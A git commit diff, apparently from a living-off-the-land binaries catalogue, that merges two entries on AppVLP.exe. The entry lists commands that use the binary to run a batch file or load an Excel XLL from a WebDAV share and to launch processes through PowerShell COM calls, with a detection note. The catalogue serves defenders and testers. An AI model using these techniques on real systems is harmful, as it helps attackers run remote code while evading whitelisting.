Removed Appvlp.exe dupe

master
Oddvar Moe 2018-05-21 22:33:49 +02:00
parent a479de9b36
commit b0c8d3084a
3 changed files with 10 additions and 38 deletions

View File

@ -5,7 +5,6 @@ If you are missing from the acknowledgement, please let me know (I did not forge
# OS BINARIES # OS BINARIES
[Atbroker.exe](OSBinaries/Atbroker.md) [Atbroker.exe](OSBinaries/Atbroker.md)
[Appvlp.exe](OSBinaries/Appvlp.md)
[Bash.exe](OSBinaries/Bash.md) [Bash.exe](OSBinaries/Bash.md)
[Bitsadmin.exe](OSBinaries/Bitsadmin.md) [Bitsadmin.exe](OSBinaries/Bitsadmin.md)
[Certutil.exe](OSBinaries/Certutil.md) [Certutil.exe](OSBinaries/Certutil.md)

View File

@ -1,35 +0,0 @@
## Appvlp.exe
* Functions: Execute
```
AppVLP.exe \\webdav\calc.bat
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe', '', '', 'open', 1)"
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
```
Acknowledgements:
* Will - @moo_hax
Code sample:
*
Resources:
* https://github.com/MoooKitty/Code-Execution
* https://twitter.com/moo_hax/status/892388990686347264
Full path:
```
"C:\Program Files (x86)\Microsoft Office\root\client\AppVLP.exe"
```
Notes:
Used by App-V
Detection:
Appvlp.exe spawning other process

View File

@ -3,18 +3,23 @@
* Functions: Execute * Functions: Execute
``` ```
AppVLP.exe calc.exe
AppVLP.exe \\webdav\calc.bat AppVLP.exe \\webdav\calc.bat
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe', '', '', 'open', 1)"
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
``` ```
Acknowledgements: Acknowledgements:
* fab - @0rbz_ * fab - @0rbz_
* Will - @moo_hax
Code sample: Code sample:
* *
Resources: Resources:
* * https://github.com/MoooKitty/Code-Execution
* https://twitter.com/moo_hax/status/892388990686347264
Full path: Full path:
``` ```
@ -25,5 +30,8 @@ C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
Notes: Notes:
Requires Office. Requires Office.
Detection:
Appvlp.exe spawning other process